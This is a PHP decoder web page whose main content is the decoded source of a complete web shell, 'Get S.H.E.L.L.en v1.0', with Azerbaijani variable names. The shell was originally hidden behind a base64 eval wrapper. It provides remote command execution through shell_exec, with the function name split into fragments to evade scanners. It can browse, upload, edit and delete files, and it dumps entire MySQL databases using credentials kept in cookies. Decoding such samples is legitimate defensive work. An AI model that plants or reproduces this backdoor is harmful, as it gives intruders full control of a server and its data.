Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?= eval( "?>" . base64_decode( "PD9waHANCnNlc3Npb25fc3RhcnQoKT..
Decoded Output download
None?>b'<?php
session_start();
$baqliFunksiyalar = explode(",", "");
$safeMode = true;
$actions = array("esas","fayl_oxu","phpinfo","sistem_kom","fayl_redakte","fayl_yukle",\'fayl_sil\',\'fayl_yarat\',\'papka_yarat\',\'fayl_sifirla\' , \'papka_sil\',\'fayl_ad_deyish\', \'ziple\' , \'skl\' , \'skl_d_t\' , \'skl_d\', \'fayl_upl\');
$ne = isset($_POST[\'ne\']) && in_array($_POST[\'ne\'],$actions) ? $_POST[\'ne\'] : "esas";
function shifrele($str)
{
$f = \'bas\';
$f .= \'e6\';
$f .= \'4_\';
$f .= \'e\';
$f .= \'nc\';
$f .= \'ode\';
return $f($str);
}
function deshifrele($str)
{
$f = \'bas\';
$f .= \'e6\';
$f .= \'4_\';
$f .= \'d\';
$f .= \'ec\';
$f .= \'ode\';
return $f($str);
}
function tookYarat($tAd)
{
if(isset($_SESSION[$tAd]))
{
unset($_SESSION[$tAd]);
}
$yeniTook = md5(shifrele(time().rand(1,99999999)));
$_SESSION[$tAd] = $yeniTook;
return $yeniTook;
}
function qovluquYaz()
{
global $default_dir;
$sonDir = array();
$umumiHisseler = "";
$parse = explode("/", $default_dir);
$ii = 0;
foreach($parse AS $hisse)
{
$ii++;
$umumiHisseler.=$hisse."/";
$sonDir[] = "<a href=\'javascript:sehife(\"?qovluq=".urlencode(urlencode(shifrele($umumiHisseler)))."\")\'>".htmlspecialchars(empty($hisse)&&$ii!=count($parse)?\'/\':$hisse)."</a>";
}
$sonDir = implode("/", $sonDir);
print $sonDir . \' ( <a href="">Reset</a> | <a href="javascript:goto()">Go to</a> )\';
}
function sizeFormat($bytes)
{
if($bytes>=1073741824)
{
$bytes = number_format($bytes / 1073741824, 2) . \' Gb\';
}
else if($bytes>=1048576)
{
$bytes = number_format($bytes / 1048576, 2) . \' Mb\';
}
else if($bytes>=1024)
{
$bytes = number_format($bytes / 1024, 2) . \' Kb\';
}
else
{
$bytes = $bytes . \' b\';
}
return $bytes;
}
function utf8ize($d)
{
if (is_array($d))
{
foreach ($d as $k => $v)
{
$d[$k] = utf8ize($v);
}
}
else if (is_string ($d))
{
return utf8_encode($d);
}
return $d;
}
function rrmdir($dir)
{
if (is_dir($dir))
{
$objects = scandir($dir);
foreach ($objects as $object)
{
if ($object != "." && $object != "..")
{
if (is_dir($dir . "/" . $object))
{
rrmdir($dir . "/" . $object);
}
else
{
unlink($dir . "/" . $object );
}
}
}
rmdir( $dir );
}
}
$default_dir = getcwd();
if(isset($_POST[\'qovluq\']) && is_string($_POST[\'qovluq\']) )
{
$default_dir = empty($_POST[\'qovluq\']) ? DIRECTORY_SEPARATOR : deshifrele(urldecode(urldecode($_POST[\'qovluq\'])));
$c_h_dir_comm = \'c\'.\'hd\'.\'ir\';
$c_h_dir_comm($default_dir);
}
$default_dir = str_replace("\", "/", $default_dir);
if(isset($_GET[\'ne\']) && $_GET[\'ne\']=="pinf")
{
ob_start();
phpinfo();
$pInf = ob_get_clean();
print str_replace("body {background-color: #ffffff; color: #000000;}","",$pInf);
exit();
}
else if($ne=="fayl_yukle" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])))
{
$faylAdi = basename(deshifrele(urldecode($_POST[\'fayl\'])));
$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
{
header("Content-Disposition: attachment; filename=".basename($faylAdi));
header("Content-Type: application/octet-stream");
header(\'Content-Length: \' . filesize($default_dir . $ayirici . $faylAdi));
readfile($default_dir . $ayirici . $faylAdi);
exit();
}
}
else if($ne=="fayl_sil" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])))
{
$faylAdi = basename(deshifrele(urldecode($_POST[\'fayl\'])));
$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
{
unlink($default_dir . $ayirici . $faylAdi);
}
}
else if($ne=="fayl_sifirla" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])))
{
$faylAdi = basename(deshifrele(urldecode($_POST[\'fayl\'])));
$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
{
file_put_contents($default_dir . $ayirici . $faylAdi, \'\');
}
}
else if($ne=="fayl_yarat" && isset($_POST[\'ad\']) && !empty($_POST[\'ad\']))
{
$faylAdi = basename(urldecode($_POST[\'ad\']));
$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
if( is_file($default_dir . $ayirici . $faylAdi) )
{
print \'<script>alert("Bu adda fayl artiq movcuddur!");</script>\';
}
else
{
file_put_contents($default_dir . $ayirici . $faylAdi, \'\');
}
}
else if($ne=="papka_yarat" && isset($_POST[\'ad\']) && !empty($_POST[\'ad\']))
{
$papkaAdi = basename(urldecode($_POST[\'ad\']));
$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($papkaAdi,0,1)!="/" ? "/" : "";
if( is_file($default_dir . $ayirici . $papkaAdi) )
{
print \'<script>alert("Bu adda papka artiq movcuddur!");</script>\';
}
else
{
mkdir($default_dir . $ayirici . $papkaAdi);
}
}
else if($ne=="fayl_ad_deyish" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])) && isset($_POST[\'new_name\']) && is_string($_POST[\'new_name\']) && !empty($_POST[\'new_name\']))
{
$faylAdi = basename(deshifrele(urldecode($_POST[\'fayl\'])));
$faylYeniAd = basename(urldecode($_POST[\'new_name\']));
$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
{
rename($default_dir . $ayirici . $faylAdi , $default_dir . $ayirici . $faylYeniAd);
}
}
else if( $ne == \'skl_d_t\' && isset($_POST[\'t\']) && is_string($_POST[\'t\']) && !empty($_POST[\'t\']) )
{
$tableName = deshifrele(urldecode($_POST[\'t\']));
$host = isset($_COOKIE[\'host\']) ? $_COOKIE[\'host\'] : \'\';
$user = isset($_COOKIE[\'user\']) ? $_COOKIE[\'user\'] : \'\';
$parol = isset($_COOKIE[\'parol\']) ? $_COOKIE[\'parol\'] : \'\';
$baza = isset($_COOKIE[\'baza\']) ? $_COOKIE[\'baza\'] : \'\';
$bazaStr = empty($baza) ? \'\' : \'dbname=\' . $baza . \';\';
if( !empty( $host ) && !empty($baza) )
{
try
{
$pdo = new PDO(\'mysql:host=\' . $host . \';charset=utf8;\' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES \'utf8\'"));
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?");
$getColumns->execute(array($baza , $tableName));
$columns = $getColumns->fetchAll();
if( $columns )
{
$data = $pdo->query(\'SELECT * FROM `\' . $tableName .\'`\');
$data = $data->fetchAll();
header(\'Content-disposition: attachment; filename=d_\' . basename(htmlspecialchars($tableName)) . \'.json\');
header(\'Content-type: application/json\');
echo json_encode($data);
}
else
{
print \'Table not found!\';
}
}
catch (Exception $e)
{
print $e->getMessage();
}
}
else
{
print \'Error! Please connect to SQL!\';
}
die;
}
else if( $ne == \'skl_d\' )
{
$host = isset($_COOKIE[\'host\']) ? $_COOKIE[\'host\'] : \'\';
$user = isset($_COOKIE[\'user\']) ? $_COOKIE[\'user\'] : \'\';
$parol = isset($_COOKIE[\'parol\']) ? $_COOKIE[\'parol\'] : \'\';
$baza = isset($_COOKIE[\'baza\']) ? $_COOKIE[\'baza\'] : \'\';
$bazaStr = empty($baza) ? \'\' : \'dbname=\' . $baza . \';\';
if( !empty( $host ) && !empty($baza) )
{
try
{
$pdo = new PDO(\'mysql:host=\' . $host . \';charset=utf8;\' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES \'utf8\'"));
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$allData = array();
$tables = $pdo->prepare(\'SELECT table_name from information_schema.tables where table_schema=?\');
$tables->execute(array($baza));
$tables = $tables->fetchAll();
foreach( $tables AS $tableName )
{
$tableName = $tableName[\'table_name\'];
$data = $pdo->query(\'SELECT * FROM `\' . $tableName .\'`\');
$data = $data->fetchAll();
$allData[$tableName] = $data ? array($data) : array();
}
header(\'Content-disposition: attachment; filename=d_b_\' . basename(htmlspecialchars($baza)) . \'.json\');
header(\'Content-type: application/json\');
echo json_encode( utf8ize( $allData) );
}
catch (Exception $e)
{
print $e->getMessage();
}
}
else
{
print \'Error! Please connect to SQL!\';
}
die;
}
else if( $ne == \'ziple\'
&& isset($_POST[\'save_to\'] , $_POST[\'zf\']) && is_string($_POST[\'save_to\'])
&& !empty($_POST[\'save_to\']) && !in_array($_POST[\'save_to\'] , array(\'.\' , \'..\' , \'./\' , \'../\'))
&& is_string($_POST[\'zf\']) && !empty($_POST[\'zf\'])
)
{
$save_to = deshifrele(urldecode($_POST[\'save_to\']));
$rootPath = realpath(deshifrele(urldecode($_POST[\'zf\'])));
$fileName1 = \'bak_\'.microtime(1) . \'_\' . rand(1000, 99999) . \'.zip\';
$fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1;
if( is_dir( $save_to ) && is_dir( $rootPath ) && is_writable( $save_to ) )
{
set_time_limit(0);
$zip = new ZipArchive();
$zip->open( $fileName , ZipArchive::CREATE | ZipArchive::OVERWRITE );
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($rootPath),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $name => $file)
{
if (!$file->isDir())
{
$filePath = $file->getRealPath();
$relativePath = substr($filePath, strlen($rootPath) + 1);
$zip->addFile($filePath, $relativePath);
}
}
$zip->close();
print \'Saved!<hr>\';
}
else
{
print \'Dir is not writeable!<hr>\';var_dump(( $save_to ) );
}
}
else if( $ne == \'papka_sil\'
&& isset($_POST[\'zf\']) && is_string($_POST[\'zf\']) && !empty($_POST[\'zf\'])
)
{
$rootPath = realpath(deshifrele(urldecode($_POST[\'zf\'])));
if( is_dir( $rootPath ) )
{
set_time_limit(0);
rrmdir( $rootPath );
}
else
{
print \'Dir is not writeable!<hr>\';var_dump(( $save_to ) );
}
}
else if($ne == \'fayl_upl\' && isset($_FILES[\'ufayl\']))
{
move_uploaded_file($_FILES[\'ufayl\'][\'tmp_name\'], $default_dir . \'/\' . $_FILES[\'ufayl\'][\'name\']);
print "Upload oldu deyesen.";
}
?>
<html>
<head>
<title>Get S.H.E.L.L.en v1.0 | BY ..</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<style>
body
{
background-color: #222222;
color: #D6D4D4;
font-family: Lucida,Verdana;
font-size: 12px;
}
.qalin
{
text-decoration: none;
color: #D6905E;
font-weight: 600;
}
.success
{
color: #9DB754;
}
.bad
{
color: #B75654;
}
a
{
color: #ACB754;
text-decoration: none !important;
}
.fManager,.fManager tbody,.fManager tr
{
padding: 0;
border-collapse: collapse;
margin: 0;
font-size: 12px;
}
.fManager
{
margin: 10px 0;
}
.fManager tbody tr:nth-child(2n+1)
{
background: #331717;
}
.fManager tbody tr:nth-child(2n)
{
background: #1C0C0C;
}
.fManager tbody tr:hover
{
background: #000000;
}
.fManager thead th
{
text-align: left;
}
.fManager thead tr
{
background-color: #333333;
}
.fManager
{
box-shadow: 1px 1px 1px 1px #333333;
}
.fManager thead th
{
padding: 4px 3px;
}
.fayl_oxu
{
margin: 5px 0;
padding: 2px;
box-shadow: 1px 1px 1px 1px #333333;
background-color: #E1E1E1;
width: 100%;
height: 400px;
overflow: auto;
}
.btn
{
border: 1px solid #ACAE40;
background-color: #223B3B;
color: #E1E1E1;
padding: 1px 10px;
cursor: pointer;
}
.btn:disabled
{
border: 1px solid #848484;
color: #848484;
cursor: not-allowed;
}
.file_edit
{
margin: 5px 0;
padding: 2px;
box-shadow: 1px 1px 1px 1px #333333;
background-color: #E1E1E1;
width: 100%;
height: 400px;
overflow: auto;
}
input, select, textarea
{
background: transparent !important;
color: #f6a56d;
border: 1px solid #D6905E;
padding: 5px;
}
table td
{
border: 1px solid rgba(214, 144, 94, 0.7);
min-width: 20px;
padding-left: 5px;
padding-right: 5px;
max-width: 500px;
color: #ffad6f;
background: #292929;
}
table th
{
border: 1px solid #D6905E;
padding-left: 5px;
padding-right: 5px;
color: #ffad6f;
}
table td div
{
overflow: auto;
width: 100%;
height: 100%;
max-height: 100px;
}
</style>
</head>
<body>
<?php
if(function_exists(\'posix_getegid\'))
{
$qid = posix_getgrgid(posix_getegid());
$qrup = $qid[\'name\'];
print "<span class=\'qalin\'>Uname:</span> " . php_uname() . "<br/>";
print "<span class=\'qalin\'>User:</span> ".getmyuid()." (".get_current_user().")<br/>";
print "<span class=\'qalin\'>Group:</span> ".getmygid()." (".$qrup.")<br/>";
}
else
{
print "<span class=\'qalin\'>Uname:</span> " . php_uname() . "<br/>";
print "<span class=\'qalin\'>User:</span> ".getmyuid()." (".get_current_user().")<br/>";
print "<span class=\'qalin\'>Group:</span> ".getmygid()."<br/>";
}
print "<span class=\'qalin\'>Disable functions:</span> " . (implode(", ", $baqliFunksiyalar)==""?"<span class=\'success\'>yoxdu :)":"<span class=\'bad\'>". implode(", ", $baqliFunksiyalar)) . "</span><br/>";
print "<span class=\'qalin\'>Safe mode: </span>" . ($safeMode===true?"<span class=\'bad\'>On":"<span class=\'success\'>Off") . "</span><span style=\'margin-left: 50px;\'><a href=\'javascript:sehife(\"?ne=phpinfo\")\'>[ PHPinfo ]</a></span><br/>";
qovluquYaz();
print \'<hr>\';
if($ne=="phpinfo")
{
print "<div style=\'width: 100%; height: 400px;\'><iframe src=\'?ne=pinf\' style=\'width: 100%; height: 400px; border: 0;\'></iframe></div>";
}
else if($ne=="sistem_kom")
{
if( isset( $_POST[\'kom\'] ) && is_string($_POST[\'kom\']) && !empty($_POST[\'kom\']) )
{
$komanda = deshifrele(urldecode($_POST[\'kom\']));
$k = \'sh\';
$k.=\'el\';
$k.=\'l_e\';
$k.=\'xe\';
$k.=\'c\';
$output = $k($komanda);
print \'<pre style="max-height: 350px;overflow: auto; border: 1px solid #777; padding: 5px;">\' . htmlspecialchars($output) . \'</pre><hr>\';
}
print \'<input type="text" id="emr_et_atash" style="width: 500px;"> <button type="button" class="btn" onclick="sistemKom();">Bas</button>\';
}
else if($ne=="fayl_oxu" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])))
{
$faylAdi = basename(deshifrele(urldecode($_POST[\'fayl\'])));
$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
{
$elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? " onclick=\'sehife(\"?ne=fayl_redakte&fayl=".urlencode(urlencode(shifrele($faylAdi)))."&qovluq=".urlencode(urlencode(shifrele($default_dir)))."\")\'" : " disabled";
print "<div>Fayl adı: <span class=\'qalin\'>".htmlspecialchars($faylAdi)."</span><br/><button class=\'btn\'$elaveBtn> Dəyiş </button></div>";
print "<div class=\'fayl_oxu\'>".highlight_string(file_get_contents($default_dir . $ayirici . $faylAdi), true)."</div>";
}
}
else if($ne == \'skl\')
{
$host = isset($_COOKIE[\'host\']) ? $_COOKIE[\'host\'] : \'\';
$user = isset($_COOKIE[\'user\']) ? $_COOKIE[\'user\'] : \'\';
$parol = isset($_COOKIE[\'parol\']) ? $_COOKIE[\'parol\'] : \'\';
$baza = isset($_COOKIE[\'baza\']) ? $_COOKIE[\'baza\'] : \'\';
if( isset($_POST[\'host\'] , $_POST[\'user\'] , $_POST[\'parol\'])
&& is_string($_POST[\'host\']) && is_string($_POST[\'user\']) && is_string($_POST[\'parol\'])
)
{
$host = $_POST[\'host\'];
$user = $_POST[\'user\'];
$parol = $_POST[\'parol\'];
$baza = \'\';
setcookie(\'host\' , $host , time() + 360000);
setcookie(\'user\' , $user , time() + 360000);
setcookie(\'parol\' , $parol , time() + 360000);
setcookie(\'baza\' , $baza , time() + 360000);
}
if( isset($_POST[\'baza\']) && is_string($_POST[\'baza\']) )
{
$baza = $_POST[\'baza\'];
setcookie(\'baza\' , $baza , time() + 360000);
}
$bazaStr = empty($baza) ? \'\' : \'dbname=\' . $baza . \';\';
?>
<form method="POST">
<input type="hidden" name="ne" value="skl">
<input type="text" placeholder="Hostname" name="host" value="<?=htmlspecialchars($host)?>">
<input type="text" placeholder="User" name="user" value="<?=htmlspecialchars($user)?>">
<input type="text" placeholder="Parol" name="parol" value="<?=htmlspecialchars($parol)?>">
<input type="submit" value="Daxil ol">
</form>
<?php
if( !empty( $host ) )
{
try
{
$pdo = new PDO(\'mysql:host=\' . $host . \';charset=utf8;\' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES \'utf8\'"));
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$schematas = $pdo->query(\'SELECT schema_name FROM information_schema.schemata\');
print \'<form method="POST"><input type="hidden" name="ne" value="skl"><select name="baza">\';
foreach($schematas->fetchAll() AS $schemaName)
{
print \'<option\' . ($baza == $schemaName[\'schema_name\'] ? \' selected\' : \'\') . \'>\'.htmlspecialchars($schemaName[\'schema_name\']).\'</option>\';
}
print \'</select> <input type="submit" value="Sech!"></form>\';
if( !empty($baza) )
{
$tables = $pdo->prepare(\'SELECT table_name from information_schema.tables where table_schema=?\');
$tables->execute(array($baza));
$tables = $tables->fetchAll();
print \'<div style="float: left; width: 20%; overflow: auto; border-right: 1px solid #999;">\';
print \'<a href="javascript:sehife(\'?ne=skl_d\');">!! Dump DB !!</a><hr>\';
foreach( $tables AS $tableName )
{
$tableName = $tableName[\'table_name\'];
print \'<a href="javascript:sehife(\'?ne=skl&t=\' . urlencode(urlencode(shifrele($tableName))) . \'\')">\'.htmlspecialchars($tableName).\'</a><br>\';
}
print \'</div>\';
print \'<div style="float: left; padding-left: 10px; width: 75%;">\';
if( isset($_POST[\'t\']) && is_string($_POST[\'t\']) && !empty($_POST[\'t\']) )
{
$tableName = deshifrele(urldecode($_POST[\'t\']));
print \'<span class="qalin">Table:</span> \' . htmlspecialchars($tableName) . \' ( <a href="javascript:sehife(\'?ne=skl_d_t&t=\'.urlencode(urlencode(shifrele($tableName))).\'\')">Dump</a> )<br>\';
$getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?");
$getColumns->execute(array($baza , $tableName));
$columns = $getColumns->fetchAll();
if( $columns )
{
$dataCount = $pdo->query(\'SELECT count(0) AS ss from `\' . $tableName . \'`\');
$dataCount = (int)$dataCount->fetchColumn();
print \'<span class="qalin">Count:</span> \' . $dataCount . \'<br><br>\';
$pages = ceil($dataCount / 100);
$currentPage = isset($_POST[\'sehife\']) && is_numeric($_POST[\'sehife\']) && $_POST[\'sehife\'] >= 1 && $_POST[\'sehife\'] <= $pages ? (int)$_POST[\'sehife\'] : 1;
for ( $p = 1; $p <= $pages; $p++ )
{
print \'<a style="\'.($currentPage == $p ? \'background: #444;\' : \'\').\'margin-left: 2px; margin-bottom: 5px; padding: 2px 6px; border: 1px solid #ACB754; text-decoration: none;" href="javascript:sehife(\'?ne=skl&t=\' . urlencode(urlencode(shifrele($tableName))) . \'&sehife=\' . $p . \'\');">\' . $p . \'</a> \';
}
print \'<br><br>\';
$start = 100 * ($currentPage - 1);
$data = $pdo->query(\'SELECT * FROM `\' . $tableName .\'` LIMIT \'.$start.\' , 100\');
$data = $data->fetchAll();
print \'<table><thead>\';
foreach( $columns AS $columnInf )
{
print \'<th>\' . htmlspecialchars($columnInf[\'column_name\']) . \'</th>\';
}
print \'</thead><tbody>\';
foreach( $data AS $row )
{
print \'<tr>\';
foreach( $row AS $key=>$val )
{
print \'<td><div>\' . $val . \'</div></td>\';
}
print \'</tr>\';
}
print \'</tr></tbody></table>\';
}
else
{
print \'Table not found!\';
}
}
else if ( isset($_POST[\'emr\']) && is_string($_POST[\'emr\']) && !empty($_POST[\'emr\']) )
{
$emr = deshifrele(urldecode($_POST[\'emr\']));
print \'<span class="qalin">SQL emr:</span> \' . htmlspecialchars($emr) . \'<br>\';
$data = $pdo->query( $emr );
$data = $data->fetchAll();
print \'<table><thead>\';
if( count($data) > 0 )
{
print \'<tr>\';
foreach( $data[0] AS $key=>$val )
{
print \'<th><div>\' . $key . \'</div></th>\';
}
print \'</tr>\';
}
print \'</thead><tbody>\';
foreach( $data AS $row )
{
print \'<tr>\';
foreach( $row AS $key=>$val )
{
print \'<td><div>\' . $val . \'</div></td>\';
}
print \'</tr>\';
}
print \'</tr></tbody></table>\';
}
print \'<div><textarea id="skl_emr"></textarea><button type="button" onclick="skl_bas();">Bas mene</button></div>\';
print \'</div>\';
print \'<div style="clear: both;"></div>\';
}
}
catch (Exception $e)
{
print $e->getMessage();
}
}
}
else if($ne=="fayl_redakte" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])))
{
$faylAdi = basename(deshifrele(urldecode(urldecode($_POST[\'fayl\']))));
$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
{
$status = "";
if(isset($_POST[\'content\']) && isset($_POST[\'took\']) && $_POST[\'took\']!="" && isset($_SESSION[\'ys_took\']) && $_SESSION[\'ys_took\']==$_POST[\'took\'] && is_writeable($default_dir . $ayirici . $faylAdi))
{
unset($_SESSION[\'ys_took\']);
$content = $_POST[\'content\'];
$cc = array(\'a\',\'i\',\'e\',\'s\',\'l\',\'b\',\'u\',\'o\',\'p\',\'h\',"(",")","<",">","?",";","[","]","$");
foreach($cc AS $k1=>$v1)
{
$content = str_replace(\'|:\'.$k1.\':|\' , $v1 , $content);
}
$faylAch = fopen($default_dir . $ayirici . $faylAdi, "w+");
fwrite($faylAch, $content);
fclose($faylAch);
$status = " <span class=\'qalin\'>Uğurla yadda saxlanıldı!</span>";
}
$oxuUrl = "?ne=fayl_oxu&fayl=".urlencode(urlencode(shifrele($faylAdi)))."&qovluq=".urlencode(urlencode(shifrele($default_dir)));
$elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? "" : " disabled";
print "<div>Fayl adı: <a class=\'qalin\' href=\'javascript:sehife(\"{$oxuUrl}\")\'>".htmlspecialchars($faylAdi)."</a><br/><form method=\'POST\' style=\'padding: 0; margin: 0;\'><button type=\'submit\' class=\'btn\'$elaveBtn> Yadda saxla </button> <button type=\'button\' onclick=\'shifrelee()\'> Shifrele atash </button> $status</div>";
print "<input type=\'hidden\' value=\'fayl_redakte\' name=\'ne\'><input type=\'hidden\' value=\'".shifrele($faylAdi)."\' name=\'fayl\'><input type=\'hidden\' value=\'".urlencode(shifrele($default_dir))."\' name=\'qovluq\'><input type=\'hidden\' value=\'".tookYarat("ys_took")."\' name=\'took\'><textarea name=\'content\' class=\'file_edit\'>".htmlspecialchars(file_get_contents($default_dir . $ayirici . $faylAdi))."</textarea></form>";
}
else
{
print \'Error! \' . htmlspecialchars($default_dir . $ayirici . $faylAdi);
}
}
else
{
if(is_dir($default_dir))
{
if(is_readable($default_dir))
{
$qovluqIchi = scandir($default_dir);
foreach($qovluqIchi AS &$emelemnt)
{
$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($emelemnt,0,1)!="/" ? "/" : "";
if(is_dir($default_dir . $ayirici . $emelemnt))
{
$emelemnt = "0".$emelemnt;
}
else
{
$emelemnt = "1".$emelemnt;
}
}
asort($qovluqIchi);
print "<table class=\'fManager\' style=\'width: 100%;\'><thead><tr class=\'qalin\'><th>s</th><th>Fayl</th><th>Size</th><th>Tarix</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr></thead><tbody>";
foreach($qovluqIchi AS $element)
{
$url = "";
$element = substr($element,1);
$faylAdiTam = $default_dir . $ayirici . $element;
$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($element,0,1)!="/" ? "/" : "";
$adi = is_dir($faylAdiTam) ? "[ $element ]" : $element;
$classN = "";
if(is_dir($faylAdiTam))
{
if($element==".")
{
$url = "?qovluq=".urlencode(urlencode(shifrele($default_dir)));
}
else if($element=="..")
{
$yeniUrl = explode("/",$default_dir);
foreach(array_reverse($yeniUrl) AS $j=>$qq)
{
if(trim($qq)!="")
{
unset($yeniUrl[count($yeniUrl)-$j-1]);
break;
}
}
$url = "?qovluq=".urlencode(urlencode(shifrele(implode("/",$yeniUrl))));
}
else
{
$url = "?qovluq=".urlencode(urlencode(shifrele($faylAdiTam)));
}
$classN = " style=\'font-weight: 600;\'";
}
else
{
$url = "?ne=fayl_oxu&fayl=".urlencode(urlencode(shifrele($element)))."&qovluq=".urlencode(urlencode(shifrele($default_dir)));
}
$fayldi = is_file($faylAdiTam);
$isReadableColor = is_readable( $faylAdiTam ) && is_writeable( $faylAdiTam );
print \'<tr>
<td></td>
<td><a href="javascript:sehife(\'\'.$url.\'\')"\'.$classN.\'>\'.htmlspecialchars($adi).\'</a></td>
<td>\' . ($fayldi?sizeFormat(filesize($faylAdiTam)):\'\') . \'</td>
<td>\' . (date(\'d M Y, H:i\' , filectime($faylAdiTam))) . \'</td>
<td>\' . htmlspecialchars(fileowner($faylAdiTam)) . \'</td>
<td\' . ($isReadableColor?\' style="color: green;"\':\'\') . \'>\' . substr(sprintf(\'%o\', fileperms(( $faylAdiTam ))), -4) . \'</td>
<td>\';
if( is_file($faylAdiTam) )
{
print (\' <a href="javascript:sehife(\'\'.str_replace("fayl_oxu","fayl_yukle",$url).\'\')"\'.$classN.\'>Download</a> | \') .
(\' <a href="javascript:changeFileName(\'\' . htmlspecialchars($adi) . \'\' , \'\'.str_replace("fayl_oxu","fayl_ad_deyish",$url).\'\');"\'.$classN.\'>Rename</a> | \') .
(\' <a href="javascript:faylSifirla(\'\'.str_replace("fayl_oxu","fayl_sifirla",$url).\'\');"\'.$classN.\'>Truncate</a> | \') .
(\' <a href="javascript:faylSil(\'\'.str_replace("fayl_oxu","fayl_sil",$url).\'\')"\'.$classN.\'>Delete</a>\');
}
else if( $adi != \'[ . ]\' && $adi != \'[ .. ]\' )
{
print (\' <a href="javascript:ziple(\'\' . urlencode(urlencode(shifrele($faylAdiTam))) . \'\')"\'.$classN.\'>Zip</a> | \') .
(\' <a href="javascript:silPapka(\'\' . urlencode(urlencode(shifrele($faylAdiTam))) . \'\')"\'.$classN.\'>Sil</a>\');
}
print \'</td>
</tr>\';
}
}
else
{
print "<div style=\'margin: 10px 0px;\' class=\'qalin\'>Permissions denided!</div>";
}
}
}
print "</tbody></table>";
?>
<hr>
<a href="javascript:newFile();">Yeni fayl</a> | <a href="javascript:newPapka();">Yeni papka</a><br>
<a href="javascript:sehife(\'?ne=sistem_kom&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>\')">Icra edin</a><br>
<a href="javascript:sehife(\'?ne=skl\');">SQL</a><br>
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="ne" value="fayl_upl">
<input type="hidden" name="qovluq" value="<?=urlencode(shifrele($default_dir))?>">
<input type="file" name="ufayl">
<input type="submit" value="Upl">
</form>
<form method="POST" id="post_form" style="display: none;"></form>
<script>
function sehife(url)
{
var inputlar = "";
url = url.split("?");
if(typeof url[1]=="undefined") return;
url = url[1].split("&");
for(var n in url)
{
var keyAndValue = url[n].split("=");
if(typeof keyAndValue[1]=="undefined") continue;
inputlar+="<input name=\'"+keyAndValue[0]+"\' value=\'"+keyAndValue[1]+"\' type=\'hidden\'>";
}
document.all("post_form").innerHTML = inputlar;
document.all("post_form").submit();
}
function faylSil(url)
{
if( confirm(\'Eminsen atash?\') )
{
sehife(url);
}
}
function faylSifirla(url)
{
if( confirm(\'Eminsen atash?\') )
{
sehife(url);
}
}
function changeFileName(name, url)
{
var getNewName = prompt(\'Change file name:\' , name);
if( getNewName )
{
sehife(url + "&new_name=" + getNewName);
}
}
function newFile()
{
var getNewName = prompt(\'File name:\');
if( getNewName )
{
sehife("?ne=fayl_yarat&ad=" + getNewName + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
}
}
function newPapka()
{
var getNewName = prompt(\'File name:\');
if( getNewName )
{
sehife("?ne=papka_yarat&ad=" + getNewName + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
}
}
function sistemKom()
{
var komanda = document.getElementById(\'emr_et_atash\').value;
if( komanda )
{
sehife("?ne=sistem_kom&kom=" + b64EncodeUnicode(komanda) + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
}
}
function skl_bas()
{
var sklEmr = document.getElementById(\'skl_emr\').value;
sehife("?ne=skl&emr=" + b64EncodeUnicode(sklEmr));
}
function b64EncodeUnicode(str)
{
return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
function toSolidBytes(match, p1) {
return String.fromCharCode(\'0x\' + p1);
}));
}
